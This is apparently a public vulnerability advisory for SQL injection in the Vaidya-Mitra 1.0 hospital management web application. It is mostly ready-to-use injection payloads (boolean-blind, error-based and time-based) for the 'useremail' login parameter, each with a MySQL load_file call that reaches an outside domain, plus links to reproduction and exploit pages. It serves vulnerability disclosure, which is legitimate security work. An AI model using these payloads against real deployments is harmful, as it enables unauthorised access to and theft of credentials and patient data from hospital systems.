Vaidya-Mitra 1.0 SQL Injection

`## Title: Vaidya-Mitra 1.0 Multiple - SQLi  
## Author: nu11secur1ty  
## Date: 07.12.2023  
## Vendor: https://mayurik.com/  
## Software: free:  
https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html,  
https://mayurik.com/source-code/P5890/best-hospital-management-system-in-php  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `useremail` parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'  
was submitted in the useremail parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed. The attacker easily can steal all information from this  
system, like  
login credentials, phone numbers and etc.  
  
STATUS: HIGH Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: useremail (POST)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY  
or GROUP BY clause  
Payload: [email protected]'+(select  
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''  
RLIKE (SELECT (CASE WHEN (5532=5532) THEN  
0x6d61797572692e696e666f737061636540676d61696c2e636f6d+(select  
load_file(0x5c5c5c5c6c726730667377767533773131677039727237656b33623734796172796c6d637030686e3762772e6f6173746966792e636f6d5c5c6d6576))+''  
ELSE 0x28 END)) AND 'tsyu'='tsyu&userpassword=rootadmin  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: [email protected]'+(select  
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''  
AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT  
(ELT(3518=3518,1))),0x71626a6b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'gHln'='gHln&userpassword=rootadmin  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)  
Payload: [email protected]'+(select  
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''  
OR (SELECT 4396 FROM (SELECT(SLEEP(3)))iEbq) AND  
'ZWBa'='ZWBa&userpassword=rootadmin  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/Vaidya-Mitra-1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/07/vaidya-mitra-10-multiple-sqli.html)  
  
## Time spend:  
00:27:00  
  
  
`